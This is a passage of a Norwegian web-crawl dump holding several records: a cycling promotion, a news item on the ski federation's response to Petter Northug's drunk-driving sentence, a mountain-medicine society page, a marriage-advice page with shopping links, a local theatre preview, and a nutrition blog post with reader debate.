Tr\u00f8nderne er som nevt best i klassen n\u00e5r det gjelder sykling, og det skal vi fortsette med\\!\n\n\n\nBeveger vi oss mer enn 30 minutter hver dag beskyttes vi mot en lang rekke sykdommer og plager. Foto: sykletiljobben.no\n\n3T er stor fan av Trondheim kommunes sykkelstrategi, og vil at s\u00e5 mange som mulig skal benytte sykkel s\u00e5 ofte de kan\\! Kroppen er skapt for bevegelse, la bilen st\u00e5 og ta sykkelen eller beina fatt neste gang du skal p\u00e5 trening\\!\n\n\u00a0\n## Ti gode grunner til \u00e5 sykle\n\n  - Du f\u00e5r bedre kondisjon\n  - Du sparer milj\u00f8et\n  - Du blir glad\n  - Du holder deg frisk og opplagt\n  - Du f\u00e5r mer overskudd og \u00f8kt arbeidskapasitet\n  - Du sover bedre\n  - Du lever lengre\n  - Du kan suse forbi bilk\u00f8en\n  - Du sparer penger\n\n", "language": "no", "__index_level_0__": "eec61935-a919-4770-8dfb-ae79e3e35013"}
{"url": "https://www.nrk.no/trondelag/skiforbundet-om-northug-dommen-1.11977112", "warc_file": "crawl-data/CC-MAIN-2018-13/segments/1521257651465.90/warc/CC-MAIN-20180324225928-20180325005928-00012.warc.gz", "warc_date": "2018-03-25T00:12:34Z", "text": "# Skiforbundet tar dommen til etterretning\n\nNorges Skiforbund understreker at Petter Northugs handlinger ikke samsvarer med idrettens og skiforbundets verdier. Utover det tas dommen til etterretning.  \n\n\n\n  Publisert  09.10.2014, kl. 13.58 \n\n  Publisert  09.10.2014, kl. 13.58 \n\nNorthug ble d\u00f8mt til 50 dagers fengsel og 185.000 kroner i bot for promillekj\u00f8ringen i mai. I tillegg ble skistjernens f\u00f8rerkort inndratt for alltid. 28-\u00e5ringen godtok dommen p\u00e5 stedet.\n\nI Norges Skiforbund har man naturlig nok fulgt rettssaken mot landets st\u00f8rste skistjerne tett.\n\n**\u2013 Norges Skiforbund tar dagens tilst\u00e5elsesdom i S\u00f8r-Tr\u00f8ndelag tingrett til etterretning. De forhold som er omtalt i dommen er alvorlige og ikke i samsvar med idrettens og skiforbundets verdier, skrev forbundet i en pressemelding etter at dommen var klar.**\n\n## F\u00e5r representere Norge\n\nVidere legger forbundet vekt p\u00e5 at Northug selv har tatt klar avstand fra sine handlinger og beklaget disse \u2013 samt at episoden skistjernen straffes for skjedde utenfor sesong og ikke i treningssammenheng.\n\n\u2013 Norges Skiforbund har vurdert om forseelsen kunne inneb\u00e6re et brudd ogs\u00e5 p\u00e5 idrettens regelverk og om den skulle anmeldes til idrettens domsorganer. NSF mener det ikke er grunnlag for dette, skriver forbundet \u2013 og tilf\u00f8yer:\n\n\u2013 Forseelsen skjedde ikke i forbindelse med idrettsut\u00f8velse; verken trening, samling eller konkurranse, og heller ikke reise til eller fra aktivitet knyttet til idretten. Den skjedde utenfor konkurransesesong, og Northug var ikke underlagt noen kontrakt med NSF da hendelsen inntraff.\n\n**Ut fra det konkluderes det med at Northug kan representere Norge i konkurranser kommende sesong, forutsatt at han kommer til enighet med forbundet om den omtalte representasjonsavtalen og at han er sportslig kvalifisert.**\n\n  - **Les ogs\u00e5: \u2013 Northug kan rekke VM uansett**\n\n*NTB*\n\n  Publisert  09.10.2014, kl. 13.58 \n\n### Petter Northug jr.\n\n\n## Gunde Svan ringte Northug for \u00e5 gi st\u00f8tte\n\n", "language": "no", "__index_level_0__": "caef2c85-88d6-4110-b2a7-c9342ae1170f"}
{"url": "http://fjellmedisin.no/", "warc_file": "crawl-data/CC-MAIN-2018-13/segments/1521257651465.90/warc/CC-MAIN-20180324225928-20180325005928-00363.warc.gz", "warc_date": "2018-03-24T23:26:02Z", "text": "### Fjellmedisinkurs 2016\n\nPublisert 14.06.2016 kl. 21:10\n\n*Fjellmedisinkurset 2016 er beklageligvis dessverre avlyst. H\u00e5per p\u00e5 nye muligheter ved en fremtidig anledning.*\n\n### ScanDiMM 2016\n\nPublisert 09.03.2016 kl. 10:50\n\nNorsk Fjellmedisinsk Selskap kj\u00f8rer i gang nytt ScanDiMM-kurs n\u00e5 i 2016.\n\nS\u00f8knadsfristen er 15.mai 2016, og introkurset blir i 10.-16.september p\u00e5 R\u00f6e G\u00e5rd i Bohusl\u00e4n.  \n  \n\u00a0\n\n### S\u00f8t s\u00e5rbehanding i bushen\n\nPublisert 01.03.2015 kl. 12:51\n\n**Fjellmedisin handler om \u00e5 bruke kunnskap, kompetanse og kreativitet til \u00e5 oppn\u00e5 det du ville gjort i et sykehus eller urbant behandlingsmilj\u00f8 i et helt annet milj\u00f8 og med helt andre ressurser.**\n\nN\u00e5r vi i Norge tenker p\u00e5 fjellmedisin tenker vi gjerne hvite vidder og h\u00f8ye fjell, men fjellmedisin kan ogs\u00e5 v\u00e6re helt andre ting. I ressursfattige deler av verden vil det vi kaller \"fjellmedisinske l\u00f8sninger\" kanskje v\u00e6re mer eller mindre de eneste l\u00f8sningene som funker p\u00e5 grunn av mangel p\u00e5 utstyr og mangel p\u00e5 kvalifisert personellst\u00f8tte. Da gjelder det \u00e5 tenke kreativt.\n\n\u00a0\n\n### Fjellmedisinkurset 2014 p\u00e5 Trysil\n\nPublisert 22.08.2014 kl. 09:24\n\nNorsk Fjellmedisinsk Selskap (NFS) inviterer til kurshelg i fjellmedisin ved Radisson Blu Resort Trysil. Dette er et kurs for deg som \u00f8nsker mer kunnskap innen fjellmedisin. Kurset er i f\u00f8rste rekke egnet for deg som har grunnferdigheter om f\u00f8rstehjelp, og er spesielt rettet mot helsepersonell, instrukt\u00f8rer, turledere, redningspersonell og veiledere innen fjellsport. Kurset vil v\u00e6re en kombinasjon av foredrag innend\u00f8rs og \u00f8ving i praktiske ferdigheter i mindre grupper. P\u00e5 l\u00f8rdagskvelden vil det v\u00e6re en festmiddag etterfulgt av fjellmedisinsk k\u00e5seri.\n\n### Bli kjent med folkene bak Norsk Fjellmedisinsk Selskap\n\nPublisert 27.06.2014 kl. 09:14\n\n", "language": "no", "__index_level_0__": "8c7b6e82-b6bb-4430-a9e6-b535f85a09f2"}
{"url": "http://bevarekteskapet.no/hvordan-bevarer-dere-ekteskapet/", "warc_file": "crawl-data/CC-MAIN-2018-13/segments/1521257651465.90/warc/CC-MAIN-20180324225928-20180325005928-00466.warc.gz", "warc_date": "2018-03-24T23:06:01Z", "text": "# Bevarekteskapet.no\n\n## Ekteskapets rolle i det moderne norske samfunnet\n\n# Hvordan bevarer dere ekteskapet?\n\n\n\nVil dere bevare ekteskapet? Vil dere beholde gnisten eller f\u00e5 den tilbake i forholdet deres? Det hjelper \u00e5 gj\u00f8re noe spennende sammen. Det er viktig at dere tilbringer tid sammen. Kanskje spilte dere tennis sammen i begynnelsen av forholdet? Men n\u00e5 har dere liksom ikke krefter til det. Det er ikke n\u00f8dvendig \u00e5 gj\u00f8re s\u00e5 store innsatser. Hvis ektefellen din liker for eksempel \u00e5 fiske, kan du f\u00f8lge med og ha en spennende tid sammen ved \u00e5 snakke om alt mulig. Kanskje har dere ikke nok tid til a snakke med hverandre, noe som ofte f\u00f8rer til mange problemer i ekteskapet. Det er lurt \u00e5 sitte sammen med ektefellen din ved et sj\u00f8 og ha gode opplevelser. Det er ogs\u00e5 uten tvil beroligende og avslappende, og f\u00e5r dere til \u00e5 beholde gl\u00f8den i live. Trenger dere fiskestenger ? Bare klikk her og du finner alt du trenger innen fiskeutstyr og til og med termoflasker og matbokser. Forskninger har vist at familier som spiser sammen, er lykkeligere og skilles i henholdsvis liten grad. Et lite m\u00e5ltid i naturen er i stand til \u00e5 bidra til at tilh\u00f8righeten forsterkes og kan bety mye for ektefellen din, is\u00e6r hvis du selv har laget maten med mye kj\u00e6rlighet og omsorg. Man b\u00f8r pr\u00f8ve \u00e5 styrke kommunikasjonen med partneren sin hver eneste dag, og det er viktig at man lytter og pr\u00f8ver \u00e5 forst\u00e5 den andres meninger. Ved en tur i naturen har man mulighet til \u00e5 komme n\u00e6rmere partneren sin og ta hensyn til hans eller hennes f\u00f8lelser og behov.\n\n**Dra p\u00e5** **camping-tur**  \nDet kan ogs\u00e5 v\u00e6re lurt \u00e5 g\u00e5 p\u00e5 tur. Det skjer ofte at vi har de beste samtalene n\u00e5r vi er p\u00e5 tur langt unna fra det hverdagslige. Og det trenges ikke s\u00e5 mye. Bare et telt, en luftmadrass og to liggestoler. Og s\u00e5 kan dere fortelle hverandre alle gledene og sorgene deres. Dere kan finne alt utstyr til camping her.\n\n**Kos dere ved et flott basseng**  \nOg om sommeren kan dere ha det g\u00f8y ved et forfriskende basseng. Det er nettopp bassenget som kan samle dere sammen i varmen. \u00c5 ta et bad sammen hver dag kan gj\u00f8re en forskjell. \u00c5 vekke gnisten igjen. \u00c5 gj\u00f8re noe hyggelig sammen er viktig, og det er ogs\u00e5 godt at dere til og med har en samtale om forholdet deres. B\u00e5de om det som er positivt, og det som ikke er i orden. N\u00e5r man gj\u00f8r noe herlig sammen, er det mye lettere \u00e5 \u00e5pne seg for den andre, prate \u00e6rlig og vise omtanke. Ved \u00e5 vise at du setter pris p\u00e5 partneren din vil gnisten fort komme tilbake. Bare v\u00e6r sammen med ham eller henne noen f\u00e5 timer hver dag, og spenningen mellom dere vil oppst\u00e5 p\u00e5 nytt.\n\n\u00a0\n", "language": "no", "__index_level_0__": "d05bd69d-9c1b-4fc5-a66e-587bfda46361"}
{"url": "http://mittkongsvinger.no/kultur/forvent-musikk-glam-gangstere-nar-jack-trolioni-inntar-byen/", "warc_file": "crawl-data/CC-MAIN-2018-13/segments/1521257651465.90/warc/CC-MAIN-20180324225928-20180325005928-00530.warc.gz", "warc_date": "2018-03-24T23:29:23Z", "text": "# Forvent god musikk, glam og gangstere n\u00e5r Jack Trolioni inntar byen\n\n av  Iren Carlstr\u00f8m  \n\n\u00c5ret er 1923. Det er t\u00f8ffe forbudstider i New York. Gangstermafiaen styrer, og det ryktes om en hemmelig bar \u2013 Sammy's \u2013 der det serveres cocktails til smektende toner. Det er lett \u00e5 forestille seg atmosf\u00e6ren. Man kan formelig h\u00f8re den jazz-inspirerte musikken innimellom scener fra 20-tallets gangster- og kj\u00e6rlighetsdrama \u2013 alt mens man nyter noe godt i glasset.\n\nDette er stemningen\u00a0primus motorer Glenn Luijbregts og Martin H\u00f8gberget vil skape n\u00e5r de til setter opp forestillingen \u00abJack Trolioni's Secret Bar\u00bb p\u00e5 Vinger Pub. 31.mars og 1.april.\n\n\n\n#### Videreutvikling av nytt konsept\n\n\u2013 Vi spiller videre p\u00e5 Jacques Trouillefou og hans sig\u00f8yner-trupp, som inntok Festningen i fjor h\u00f8st. N\u00e5 er det en annen Jack som inntar Kongsvinger, nemlig den eksentriske spilloppmakeren Jack Trolioni. Han jobber p\u00e5 den hemmelige baren Sammy's, og er h\u00f8yreh\u00e5nden og kontaktbyggeren til gangsterne. Jack er selvsagt glad i damer, men han har litt mye jobb, og en \u00a0femme fatale som skaper problemer, smiler Glenn Luijbregts \u00a0\u2013 alias Jack Trolioni.\n\nMittkongsvinger.no\u00a0m\u00f8ter trioen Martin, Glenn og Meg Mills p\u00e5 kafeen Ben & Jenny's, ikke langt unna Vinger Pub, som i l\u00f8pet av et par v\u00e5rkvelder skal omvandles til den forbudte baren Sammy's.\n\n*\u2013 Hva \u00f8nsker dere \u00e5 skape med dette showet?*\n\n**\u2013 Som med Jacques Trouillefou-showet handler det om \u00e5 tilf\u00f8re noe nytt til kulturuttrykket i Kongsvinger. Vi trenger mangfold, og da er det viktig at vi lager litt mindre forestillinger som dette, samtidig som vi jobber med de store prosjektene, som for eksempel Ularm og Postkort fra Kongsvinger, forteller Martin H\u00f8gberget.**\n\n#### Nytt, kreativt kulturmilj\u00f8\n\nGlenn Luijbregts er n\u00e5 tilbake i Kongsvinger for \u00e5 jobbe freelance med Martin og andre p\u00e5 foreskjellige prosjekter. Han kommer sist som showartist p\u00e5 Color Line, der han var i ett \u00e5r. Tidligere har han jobbet p\u00e5 Christiania Teater med stykket Hakkebakkeskogen, og fortsetter med det n\u00e5r han skal spille i showet i Dyreparken i sommer.\n\nMen de driftige kulturut\u00f8verne jobber med parallelle prosjekter hele tiden, og erfarer nok forel\u00f8pig at timene de legger inn i arbeidet overg\u00e5r inntektene de f\u00e5r for arbeidet.\n\n\n\n**\u2013 Det g\u00e5r mye tid til \u00e5 s\u00f8ke om midler og jobbe med sponsorer p\u00e5 de ulike prosjektene. Vi er opptatt av \u00e5 ha god kvalitet p\u00e5 det vi gj\u00f8r, og budsjettene er st\u00f8rre enn det vi f\u00e5r i billettinntekter. Slik fungerer det i denne bransjen, forklarer Martin H\u00f8gberget.**\n\nOg kvaliteten i denne forestillingen ligger b\u00e5de i at de har hentet inn dyktige skuespillere og musikere, og ikke minst at de jobber mye med scenografi og kostymer, som selvsagt skal v\u00e6re sv\u00e6rt tidsriktige for New York p\u00e5 1920-tallet.\n\n#### Tidsriktig\u00a0fra 1920-tallet\n\n\u2013 Jeg gj\u00f8r mye research, og ser p\u00e5 filmer og serier som Miss Fisher's Murder Mysteries. M\u00e5let er \u00e5 gjenskape atmosf\u00e6ren fra en litt m\u00f8rk bar i kjelleren i New York, og da m\u00e5 vi dekke til og fjerne alt som ikke tilh\u00f8rer den tiden. Kostymemessig blir det selvsagt pelser, smykker og glam p\u00e5 damene, og karakteristiske kostymer for mennene i forestillingen, forteller Meg.\n\n\n\nFilmer som Gudfaren og Bugsy Malone er viktige referanser n\u00e5r hun planlegger scenografi og kostymer, og mesteparten kj\u00f8pes p\u00e5 Ebay og andre nettsider.\n\n**\u2013 Det koster mye \u00e5 lage egne kostymer, s\u00e5 jeg kj\u00f8per p\u00e5 nettet og tilpasser dem. Og her finner jeg noe som er perfekt, sier hun forn\u00f8yd n\u00e5r vi er inne i Othilie\u00b4s bruktbutikk i Jernbanegata for \u00e5 knipse et bilde.**\n\n#### Den nye kultureliten er med\n\n18 personer er involvert i forestillingen. Den dyktige sangeren Thea Paulsrud og saksofonist Simen Bj\u00f8rkhaug studerer i Trondheim, men kommer hjem for \u00e5 delta.\n\n\u2013 Vi har med noen r\u00e5dyktige folk, og vi skal skape fantastiske musikkopplevelser med den nye musikkeliten i Norge.\u00a0I tillegg til Simen har vi med oss Martin Sternberg i husbandet, s\u00e5 det kommer til \u00e5 svinge, forteller Martin H\u00f8gberget.\n\nMed seg p\u00e5 laget kan han r\u00f8pe at de ogs\u00e5 har med seg skuespillere som har v\u00e6rt med i gamet litt lenger.\n\n\u2013 Anne-Line Kam\u00f8y er med, Lars L\u00f8fsgaard dukker opp, og v\u00e5r kj\u00e6re Heiki Noer-Johansen, som leder Amat\u00f8rteatret har rollen som badguy, smiler Martin lurt.\n\n#### Stor p\u00e5gang\n\nI l\u00f8pet av et par dager\u00a0har de solgt ut nesten halvparten av de to forestillingene, og regner med \u00e5 fylle opp \u00abSammy's bar\u00bb ganske raskt.\n\n**\u2013 Konseptet g\u00e5r ut p\u00e5 at folk sitter rundt bord i lokalet, og kan hygge seg sammen, gjerne med noe godt \u00e5 drikkemed, og innimellom blir det b\u00e5de musikk og skuespill. Alle skuespillerne vil \u00abjobbe\u00bb i baren innimelom, s\u00e5 det blir en helt ny vri p\u00e5 en helaften med et herlig show, kan Martin fortelle.**\n\n*\u2013 Kommer dere til \u00e5 sette opp flere forestillinger av showet?*\n\n\u2013 Vi ser ikke bort fra at konsepet etter hvert kan videreutvikles og fremf\u00f8res hos bedrifter og andre som vil ha kvalitetsunderholdning p\u00e5 sine arrangementer, men i f\u00f8rste gang er det kun disse to forestillingene som er planlagt. Eller som\u00a0Jack Troliani ville sagt det \u2013 \u00abForget about it\\!\u00bb avslutter Glenn med et sjarmerende smil.\n\n\n\n\u00a0\n", "language": "no", "__index_level_0__": "f6c0c280-0f03-4d4d-bf00-07fc564fb953"}
{"url": "https://margitvea.no/blogg/sppelmatepidemi/", "warc_file": "crawl-data/CC-MAIN-2018-13/segments/1521257651465.90/warc/CC-MAIN-20180324225928-20180325005928-00530.warc.gz", "warc_date": "2018-03-24T23:23:38Z", "text": "# S\u00f8ppelmatepidemi\n\n  - Skrevet av Margit Vea\n  - 27\\. mars 2012\n\n**I n\u00f8den spiser fanden fluer. I tidsn\u00f8den spiser den moderne nordmann s\u00f8ppel.**\n\nVi snakker om fedmeepidemi \u2013 jeg liker \u00e5 kalle de s\u00f8ppelmatemidemi eller ferdigmatepidemi. Hadde det ikke v\u00e6r for all s\u00f8ppelmaten, s\u00e5 hadde ikke overvekt- og fedmeproblemet v\u00e6rt s\u00e5 omfattende. D\u00e5rlig kosthold er den st\u00f8rste bidragsyteren til de altfor mange kiloene norges befolkning etterhvert m\u00e5 slite med. I tillegg til overfl\u00f8dige kilo, er det flere andre plager s\u00f8ppelmaten p\u00e5f\u00f8rer oss. Feilern\u00e6ring, intoleranser, allergier, kreft, diabetes, hjerte-karsykdommer og andre livsstilssykdommer. Stadig flere barn blir diagnostitisert (blant annet ADHD), har konsentrasjonsvansker, psykiske problemer m.m. I dagens samfunn har barn og unge har for mange usunne valg. S\u00f8ppelmaten er et eksperiment med helsen til v\u00e5r neste generasjon.\n\n**Alle barn skal ha rett til god mat som gir dem god helse og spennende smaksopplvelser.**I dag burde dette v\u00e6rt en paragraf i FNs barnekonvensjon\\! For maten mange ser p\u00e5 som barnevennlig, er ofte den verste. Farseprodukter og p\u00e5legg fulle av un\u00f8dige e-stoffer (fargestoffer, aromastoffer og smaksforsterkere), d\u00e5rlig fett, sukker og andre karbohydrater av ymse kvalitet. Det v\u00e6re p\u00f8lser, kyllingnuggest, nugatti, nudler, taco, enkelte leverposteier, posesupper, posemat generelt, s\u00f8t drikke med kakaosmak, oboy, brus osv. Listen er desverre lang som et vondt \u00e5r.\n\n\u00c5rsakene til denne feilprioriteringen er mange og komplekse. Men jeg har lyst til \u00e5 stille sp\u00f8rsm\u00e5let om vi har ofret v\u00e5r og barnas helse p\u00e5 materialismens og likestillingens alter? Ordet \u00abkj\u00f8kkenbenk\u00bb var n\u00e6rmest et skjellsord p\u00e5 80-90 tallet . Vi, kvinnene, skulle bruke tiden p\u00e5 noe mer fornuftig. Matkunnskapen ble ikke videref\u00f8rt til neste generesjon og matfaget ble nedprioritert i skole og utdannelsenssektor. Vi begynte \u00e5 snakke om n\u00e6ringsstoffer i stedet for mat. I dag st\u00e5r det d\u00e5rlig til med matvarekunnskapen og ferdighetene innen matlaging er sv\u00e6rt d\u00e5rlige. Er mat lavstatus ogs\u00e5 i dag? Hvorfor er det liten s\u00f8knad p\u00e5 matfagene i den videreg\u00e5ende skole? Hele samfunnet m\u00e5 behandles. Vi trenger en matrevolusjon\\!\n\n\u2013 B\u00e5de sm\u00e5 og store kan med fordel l\u00e6re \u00e5 lage mer mat fra grunnen av.\n\n**Det er lettere \u00e5 spise seg til god helse, enn \u00e5 betale seg til det.**\n\n****\n\nPs: Aftenpostens magasin INNSIKT har moderne matvaner som hovedtema i siste nummer. L\u00f8p og kj\u00f8p\\!\n\nSist oppdatert 11. oktober 2017\n\n    E faktisk ganske stolt av barnehagen som s\u00f8nnen min g\u00e5r i \ud83d\ude42\n    \n    De har varmmat hver torsdag, og da e det fisk som gjeld, men ikke s\u00e5nn ferdiprodusert fabrikata som man kj\u00f8pe p\u00e5 butikken nei\u2026..dem lage alt fra grunnen av, for da vet dem ka som e i det\\!\\!\\!\n    \n    Og dem har gitt klar beskjed om at vist det e noen som fiske og har til overs, s\u00e5 tar dem gjerne imot:)\n    \n    Hver tredje torsdag e det gr\u00f8t.\n    \n    Ellers f\u00e5r dem lunsj med br\u00f8dskive og diverse p\u00e5legg som dem sm\u00f8re p\u00e5 sj\u00f8l, og s\u00e5 f\u00e5r dem ett fruktm\u00e5ltid f\u00f8r dem g\u00e5r ut siste gang il\u00f8pet av dagen \ud83d\ude42\n    \n    For det e altfor mange d\u00e5rlige barnehagemenyer, og eg vil sei at det ikke e naturli f\u00f8r ungan \u00e5 f\u00e5 varmat i barnehagen hver dag, da blir det jo som \u00e5 f\u00e5 middag 2 ganga den dagen.\n    \n    Synes det e bedre at det bare e en gang i uka dem f\u00e5r varmmat \ud83d\ude42\n    \n    Og ikke minst s\u00e5 har vi foreldre ett ansvar for \u00e5 gi ungan v\u00e5res en sjanse til \u00e5 vokse opp med sunn og spennanes mat \\<3\n    \n    1.  #### Margit Vea\n        \n        6 \u00e5r siden\n        \n        H\u00d8res ut til at gutten deres f\u00e5r veldig god mat i barnehagen:-) Mange barnehager har et sv\u00e6rt godt tilbud\\! S\u00e5 h\u00e5per vi det blir bedre og bedre, og at skolene f\u00f8lger etter.\n        \n        Foreldrene har det st\u00f8rste ansvaret, men viktig at samfunnet legger til rettte p\u00e5 en slik m\u00e5te at det gj\u00f8r det enklere for foreldre \u00e5 etablere gode kostvaner hos barna. Vi m\u00e5 alle jobber sammen med \u00e5 n\u00e5 m\u00e5let.\n        \n    2.  #### Familien Bakken\n        S\u00e5 enig, s\u00e5 enig \ud83d\ude42\n2.  #### Magne D. Antonsen\n    Bra blogg, Margit\\!\n    \n    Det er Magne fra VG her. I dag har jeg valgt innlegget ditt som dagens anbefaling p\u00e5 Lesernes VG, du finner det nederst p\u00e5 forsiden til VG Nett\\!\n    \n    Er det noen som har tips om gode blogger jeg b\u00f8r anbefale s\u00e5 send meg en link p\u00e5 magne.antonsen \\[@\\] vg.no Vil du ha flere tips om gode blogger kan du f\u00f8lge Lesernes VG p\u00e5 http://www.facebook.com/lesernesvg og http://twitter.com/lesernesvg\n    \n    1.  #### Margit Vea\n        \n        6 \u00e5r siden\n        \n        Takk Magne\\! Det var kjekt\\!\n        \n3.  #### Anonym\n    \n    6 \u00e5r siden\n    \n    Alt var bra helt til du begynte med likestillingen. Er det slik at menn ikke klarer og lage mat de ogsaa? Etter min oppfatning har jeg merket at menn liker og lage mat like mye som kvinner.\n    \n    Dette har ingenting med likestilling og gjore, det har med tette foreldre, enten du har en penis eller en vagina\\!\n    \n    1.  #### Margit Vea\n        \n        6 \u00e5r siden\n        \n        Mange menn er fantastisk flinke til \u00e5 lage mat, heldigvis \u2013 og har tatt mer ansvar bak kj\u00f8kkenbenken med \u00e5rene. Unders\u00f8kelser viser likevel at menn er ivrigst p\u00e5 \u00e5 lage den litt \"finere\" helgematen enn hverdagsmat.\n        \n        Forbruket av ferdigmat tok seg kraftig opp da kvinnene begynte \u00e5 jobbe fulltid \u2013 det \u00e5 lage mat fra grunnen av er ikke blitt prioritert hverken av menn eller kvinner. Jeg er selvf\u00f8lgelig for likestilling,og h\u00e5per b\u00e5de kvinner og menn vil prioritere mer tid bak kj\u00f8kkenbenken i \u00e5rene som kommer. Vi b\u00f8r jobbe for likestillingen uten at det g\u00e5r p\u00e5 bekostning av kostholdet.\n        \n    2.  #### Helene\n        \n        6 \u00e5r siden\n        \n        Nja, da jeg vokste opp jobbet min mor 100 %. Hun lagde 90 % av maten fra bunnen. Min svigermor var hjemmev\u00e6rende da min mann vokste opp, og han er oppfostret p\u00e5 halvfabrikata, og blir stadig overrasket n\u00e5r jeg vil lage supper og sauser fra bunnen. Dette er to eksampler, og kan selvsagt ikke generaliseres, men det kan heller ikke din antagelse om at det er likestilling som gjorde at halvfabrikata gjorde sitt inntog p\u00e5 80-tallet. Man kan like gjerne anta at halvfabrikata ble oppfattet som en moderne tidsbesparende oppfinnelse \u2013 akkurat som vaskemaskinen, st\u00f8vsugeren eller kj\u00f8leskapet i sin tid.\n        \n        Og s\u00e5; ja, mat er best n\u00e5r den er lagd med ferske r\u00e5varer \u2013 men jeg tror halvfabrikata er kommet for \u00e5 bli. Det betyr at man b\u00f8r jobbe like mye for at halvfabrikata kan v\u00e6re sunne alternativer.\n        \n    3.  #### Margit Vea\n        \n        6 \u00e5r siden\n        \n        Godt poeng du har der, og det er nok flere \u00e5rsaker til at forbruket av hel- og halvfabrikata \u00f8kte. For noen var det ogs\u00e5 \"stas\" med denne type ny mat \u2013 moderne, og mange hadde/har tillitt til at dette var/ er god og n\u00e6ringsrik mat \u2013 bedre og mer n\u00e6ringsrik enn den de lager selv.\n        \n4.  #### Anonym\n    \n    6 \u00e5r siden\n    \n    veldig bra skrevet\\!\n    \n5.  #### Anonym\n    \n    6 \u00e5r siden\n    \n    Jeg f\u00f8ler at vi i dag sliter med at alle varene i butikken m\u00e5 v\u00e6re s\u00e5 billige og lettvinte at det blir mye ferdigmat med fyllstoff i. Mannen og kvinnen i gata vil handle der det er billigst, og pris og kvalitet g\u00e5r ofte hand i hand.\n    \n    For \u00e5 f\u00e5 flere og bedre varer i butikkhyllene trenger vi \u00e5 slutte og handle p\u00e5 butikker som for eksempel bare vil ha 1000 varelinjer(hint) i hyllene.\n    \n    1.  #### haavarl\n        \n        6 \u00e5r siden\n        \n        Jeg lager det meste fra bunnen av og handler nesten bare p\u00e5 Rema 1000. Det er ikke vanskelig i det hele tatt. De har mengder av ferske gr\u00f8nnsaker, de har egg og mel og meieriprodukter og krydder, de har rent kj\u00f8tt og ren fisk n\u00e5r jeg m\u00e5tte \u00f8nske.\n        \n        \"butikker som for eksempel bare vil ha 1000 varelinjer(hint) i hyllene\"? \u2013 Jeg tror samtlige billigbutikker har st\u00f8rre utvalg av \"ren\" mat enn det tidligere generasjoners matlagere hadde.\n        \n    Ren mat smaker best ja \ud83d\ude42\n    \n7.  #### Anonym\n    \n    Det er lettere \u00e5 spise seg til god helse, enn \u00e5 betale seg til det. Veldig bra skrevet\\!\\!\n    \n    Enig\\! Her kreves det en revolusjon, intet mindre\\!\n    \n    Ren mat er best, ingen protest\\!\n    \n    veldig bra innlegg\\! \ud83d\ude42\n    \n10. #### Lolla\n    \n    6 \u00e5r siden\n    Mange som slurver for mye med mat til barna(og seg selv), og mye kunne nok v\u00e6rt unng\u00e5tt med mer kunnskap fra skolealder, og gjerne tidligere, og selvsagt, mer gym undervisning. Der m\u00e5 skoler bli flinkere \u00e5 tilrettlegge for dem som evt. faller utenom av en eller annen grunn.\n    \n    Men \u00e5 legge hele ansvaret p\u00e5 kvinner, er for dustete. Hvorfor skal kvinner g\u00e5 tilbake p\u00e5 kj\u00f8kkenet straks det f\u00f8rer noe negativt med seg at de er i arbeid og faktisk bidrar til samfunnet? Hvorfor kan det for en gang skyld ikke v\u00e6re mannen som bidrar for lite hjemme? Er s\u00e5 lei av at straks det er noe med barna er det kvinnene som f\u00e5r skylda, og barna og likestilling som samvittighetsmiddel.\n    \n    1.  #### Margit Vea\n        \n        6 \u00e5r siden\n        \n        Jeg legger ikke kun ansvaret p\u00e5 kvinner, for her har ogs\u00e5 mannen sviktet. Likestilling inneb\u00e6rer at menn skal ta mer ansvar. I denne saken nevner jeg ogs\u00e5 v\u00e5rt materialistiske/kapitalistiske samfunn som har mye av skylden.\n        \n11. #### Anonym\n    \n    6 \u00e5r siden\n    \n    Vi trenger en revolusjon \u2013 en landbrukspolitisk revolusjon. Den g\u00e5r ut p\u00e5 \u00e5 kaste ut Senterpartiet og Ap fra Stortinget, og innf\u00f8re en liberal landbrukspolitikk, med tollfri import av matvarer fra hele verden. Da ville matprisene falt, og det ville v\u00e6rt billigere \u00e5 lage sunn mat.\n    \n12. #### Anonym\n    \n    6 \u00e5r siden\n    \n    Alt er vel og bra med sunn mat som smaker godt, b\u00e5de for oss voksne og v\u00e5re sm\u00e5 h\u00e5pefulle\\! Og ja, det er mye av maten som selges i butikker og p\u00e5 gatekj\u00f8kken som ikke akkurat er helsekost.\n    \n    MEN, dette er ingen unnskyldning for \u00e5 miste gangsynet totalt:\n    \n    Den egentlige grunnen til fedmeepidemien er IKKE hovedsakelig innholdet i maten, men det faktum at veldig mange spiser mye mer enn det de trenger i forhold til sitt aktivitetsniv\u00e5. Det er alt for lettvint \u00e5 skylde p\u00e5 maten\\!\n    \n    Du skriver at \"s\u00f8ppelmat\" f\u00f8rer til intoleranser og allergier. Ja, det er mange som har betydelige problemer med intoleranser og allergier ovenfor enkelte r\u00e5varer. Men hva slags grunnlag har du for \u00e5 p\u00e5st\u00e5 at det er matvarene i seg selv som f\u00f8rer til disse problemene?\\!? Hva med f.eks. c\u00f8liaki, laktoseintoleranse og n\u00f8tteallergi. Er det melet, melka og n\u00f8ttene som i seg selv har skapt disse lidelsene hos dem det gjelder?\\!? Har du noen gode eksempler p\u00e5 r\u00e5varer i \"s\u00f8ppelmat\" som i seg selv har trigget eller skapt allergi eller intoleranse?\n    \n    Og p\u00e5 hvilket grunnlag kan du p\u00e5st\u00e5 at \"s\u00f8ppelmat\" f\u00f8rer til ADHD og psykiske problemer hos barn?\\!?\n    \n    1.  #### Margit Vea\n        \n        6 \u00e5r siden\n        \n        Det finnes i dag mye forskning som bekrefter/viser at mat har stor betydning for mange av lidelsene som er blitt sv\u00e6rt utbredt i dag. jeg har skrevet flere innlegg om dette temaet tidligere (kan ikke ha med all verden i et lite blogginnlegg) som du kan ta en titt p\u00e5. Ellers anbefaler jeg forskning.no, dinmat.no, Saras Verden (se link p\u00e5 siden her), matportalen, kreftforeningens nettsider og mange flere.\n        \n        Og jeg er helt enig i at vi spiser for mye, og desverre er det som regel \"s\u00f8ppelmaten\" og industriprodusert vi spiser for mye av \u2013 mat som trigger apetitten.\n        \n    2.  #### Anonym\n        \n        6 \u00e5r siden\n        \n        Det er alt for enkelt \u00e5 bare komme med en generell henvisning til at det i dag finnes mye forskning som viser s\u00e5nn og slik.\n        \n        Du p\u00e5st\u00e5r konkret at \"s\u00f8ppelmat\" f\u00f8rer til intoleranser og allergier, noe jeg har stilt helt konkrete sp\u00f8rsm\u00e5l til i mitt innlegg. Har du svarene p\u00e5 disse sp\u00f8rsm\u00e5lene? Siden du b\u00e5de har skrevet b\u00f8ker og holdt foredrag om disse temaene, b\u00f8r det v\u00e6re en smal sak \u00e5 svare kort og konkret p\u00e5 dette her i kommentarfeltet, eller eventuelt henvise til 